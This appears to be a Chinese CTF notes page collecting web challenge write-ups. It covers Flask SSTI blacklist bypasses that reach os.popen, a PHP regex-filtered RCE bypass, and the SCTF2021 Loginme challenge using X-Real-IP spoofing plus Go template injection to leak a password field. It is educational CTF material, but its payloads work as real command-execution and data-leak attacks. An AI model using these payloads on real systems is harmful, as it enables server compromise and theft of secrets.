跳转至

杂题集

做的一些杂题就不分类了

SSTI

一道小题

Python
import flask
from flask import Flask, request, render_template, render_template_string
import os
app = Flask(__name__)

def waf(cmd):
    #wafs = ['__', 'os']
    wafs = ['__','os','request','values']
    for blackstring in wafs:
        if blackstring in cmd:
            return True
    return False

@app.route("/",methods=['POST','GET'])
def index():
    if request.method == 'POST':
        cmd = request.form.get("cmd")
        #下面这个是get请求获取参数,上面是post请求获取参数
        #cmd2 = request.args.get("cmd2")
        if waf(cmd):
            return "nonono"
        return render_template_string(cmd)
    return "Please POST cmd to me."


if __name__ == '__main__':
    app.run('0.0.0.0')

两道ez_ssti

第一道 wafs = ['__', 'os']

这两个都可以通过request进行绕过

Text Only
request.args.key  #获取get传入的key的值

request.form.key  #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

reguest.values.key  #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get

request.cookies.key  #获取cookies传入参数

request.headers.key  #获取请求头请求参数

request.data  #获取post传入参数(Content-Type:a/b)

request.json  #获取post传入json参数 (Content-Type: application/json)

第二道 wafs = ['__','os','request','values']

Text Only
{{""['\x5f\x5fcla'+'ss\x5f\x5f']['\x5f\x5fba'+'se\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[139]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('OS'.lower()).popen('calc').read()}

这里下划线我们通过unicode编码的方式绕过,os通过大写转换成小写的方式绕过

os绕过还有另外一种方式,通过倒叙

Text Only
{{""['\x5f\x5fcla'+'ss\x5f\x5f']['\x5f\x5fba'+'se\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[139]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('so'[::-1]).popen('calc').read()}}

24国赛

Python
from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)

@app.route('/', methods=["GET"])
def source():
    with open(__file__, 'r', encoding='utf-8') as f:
        return '<pre>'+html.escape(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'

class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break

            if not request_data:
                client_socket.close()
                return

            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)

                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk

            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data

            response_body = body
            response = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
                       b"Content-Type: text/html; charset=utf-8\r\n" \
                       b"\r\n" + response_body

            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()

def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000

    # 安全反代,防止针对响应头的攻击
    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
    proxy_thread.daemon = True
    proxy_thread.start()

    print("Starting Flask app...")
    run_flask_app()

waf = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']

payload:

有回显

Text Only
{{()['\x5f\x5fcla'+'ss\x5f\x5f']['\x5f\x5fba'+'se\x5f\x5f'] [ '\x5f\x5fsubc'+'\x5f\x5flasses\x5f\x5f']['\x5f\x5f get'+'item\x5f\x5f'](199)['\x5f\x5fin'+'it\x5f\x5f']['\x5f\x5fglo'+'bals\x5f\x5f']['\x5f\x5fgeti'+'tem\x5f\x5f']('os')['po'+'pen']('ls')['read']()}}

给popen断一下就好了

无回显(拿不到subclass),那我们可以用config

Text Only
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
//像上面一样绕过一xiao

RCE

[emojiCTF2024]RCE

PHP
<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['emo'])){
      $emo = $_GET['emo'];
    if(!preg_match("/\;|\"|\*| |[b-h]|[m-r]|\\$|\{|\}|\^|\>/i",$emo)){
        system($emo);
    }
    else{
        echo "Again";
        }
}
else{
    echo "Try";
}
?>

可以利用的字母有

Text Only
aijklstuvwsyz

可以组成vi来读wen'j

payload:

Text Only
vi%09????.???

本地访问+Gin模板注入

[SCTF2021]Loginme(本地访问+Gin模板注入)

查看附件,本题是基于go语言开发的Web框架Gin

image-20241029191158914

审代码

main.go

Go
package main

import (
    "html/template"
    "loginme/middleware"
    "loginme/route"
    "loginme/templates"

    "github.com/gin-gonic/gin"
)

//Gin是一个使用Go开发的web框架
func main() {
    gin.SetMode(gin.ReleaseMode)    //选择release模式
    r := gin.Default()  //创建实例
    templ := template.Must(template.New("").ParseFS(templates.Templates, "*.tmpl")) //模板解析
    r.SetHTMLTemplate(templ)    //该方法会gin实实例绑定一个模板引擎(内部其实是设置了engine的HTMLRender属性),也就是模板渲染
    // 通过use设置全局中间件
    // 设置日志中间件,主要用于打印请求日志
    r.Use(gin.Logger())
    // 设置Recovery中间件,主要用于拦截paic错误,不至于导致进程崩掉
    r.Use(gin.Recovery())
    //一个新的路由
    authorized := r.Group("/admin")
    //调用函数middleware.LocalRequired(),其实是个waf
    authorized.Use(middleware.LocalRequired())
    {
        authorized.GET("/index", route.Login)
    }

    r.GET("/", route.Index)
    r.Run(":9999")  //运行服务器,监听9999端口
}

通过题目我们可知该题第一步要求本地用户访问,意味着我们需要修改请求头伪造本地用户

通过审阅代码可知,这段代码首先是创建了一个gin实例,然后是在/admin路由下,调用middleware.LocalRequired(),如下

Go
1
2
3
4
    authorized.Use(middleware.LocalRequired())
    {
        authorized.GET("/index", route.Login)
    }

接着我们进一步跟进,打开middleware文件夹中的middleware.go

Go
package middleware

import (
    "github.com/gin-gonic/gin"
)

func LocalRequired() gin.HandlerFunc {
    return func(c *gin.Context) {
        if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
            c.AbortWithStatus(403)
            return
        }
        ip := c.ClientIP()
        if ip == "127.0.0.1" {
            c.Next()
        } else {
            c.AbortWithStatus(401)
        }
    }
}

由代码可知,请求头中不能有x-forwarded-for或者x-client-ip,不然返回403。同时还使用ClientIP(),用来判断ip是否等于127.0.0.1

这个可以通过X-Real-IP:127.0.0.1进行绕过

image-20241029193010113

绕过这个之后,继续分析

Go
1
2
3
4
authorized.Use(middleware.LocalRequired())
    {
        authorized.GET("/index", route.Login)
    }

接下来跳到route.Login,进一步跟进打开route文件夹中的route.go文件

Go
func Login(c *gin.Context) {
    idString, flag := c.GetQuery("id")  //gin的获取url query参数
    if !flag {
        idString = "1"
    }
    id, err := strconv.Atoi(idString)   //用于将字符串类型转换为int类型,整了之后,id就是int类型的数据了
    if err != nil {     //当出现不等于nil的时候,说明出现某些错误了,这个地方是调用方法出错的时候应该怎么做
        id = 1
    }
    TargetUser := structs.Admin //一个结构体
    for _, user := range structs.Users {        //循环,看id等于几,然后将TargetUser赋值
        if user.Id == id {
            TargetUser = user
        }
    }

    age := TargetUser.Age
    if age == "" {
        age, flag = c.GetQuery("age")
        if !flag {
            age = "forever 18 (Tell me the age)"
        }
    }

    if err != nil {
        c.AbortWithError(500, err)
    }

    html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)  //格式化字符串并赋值给新串
    if err != nil {
        c.AbortWithError(500, err)
    }
    //Parse()方法用来解析、评估模板中需要执行的action,其中需要评估的部分都使用{{}}包围,并将评估后(解析后)的结果赋值给tmpl。
    tmpl, err := template.New("admin_index").Parse(html)
    if err != nil {
        c.AbortWithError(500, err)
    }
    //将对象实例应用到已经解析的tmpl模板
    tmpl.Execute(c.Writer, TargetUser)
}

由代码可知,这一段代码会从url链接中获得参数id,同时还定义了一个名为TargetUser的结构体,其源代码放在structs文件夹中,打开structs.go

Go
var Users = []UserInfo{
    {
        Id:       1,
        Username: "Grandpa Lu",
        Age:      "22",
        Password: "hack you!",
    },
    {
        Id:       2,
        Username: "Longlone",
        Age:      "??",
        Password: "i don't know",
    },
    {
        Id:       3,
        Username: "Teacher Ma",
        Age:      "20",
        Password: "guess",
    },
}

var Admin = UserInfo{
    Id:       0,
    Username: "Admin",
    Age:      "",
    Password: "flag{}",
}

在之后,会将传入的id和users中的id进行对比,id=0时,Username=“Admin”

接下来传参age,因为Admin中的Age默认是空的,所以会执行age传参:

Go
1
2
3
4
5
6
if age == "" {
        age, flag = c.GetQuery("age")
        if !flag {
            age = "forever 18 (Tell me the age)"
        }
    }

将age格式化后赋值给html:

Go
html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)  //格式化字符串并赋值给新串

接下来对html进行渲染:Parse(html)

Go
tmpl, err := template.New("admin_index").Parse(html)

go语言模板渲染支持传入一个结构体的实例来渲染它的字段,就有可能造成信息泄露

在这里插入图片描述

而在go语言中使用的是{{.name}}代表要应用的对象,所以可以让age={{.Password}},得到想要的flag

Go
1
2
3
4
5
6
var Admin = UserInfo{
    Id:       0,
    Username: "Admin",
    Age:      "",
    Password: "flag{}",
}

在这里插入图片描述

原文链接:csdn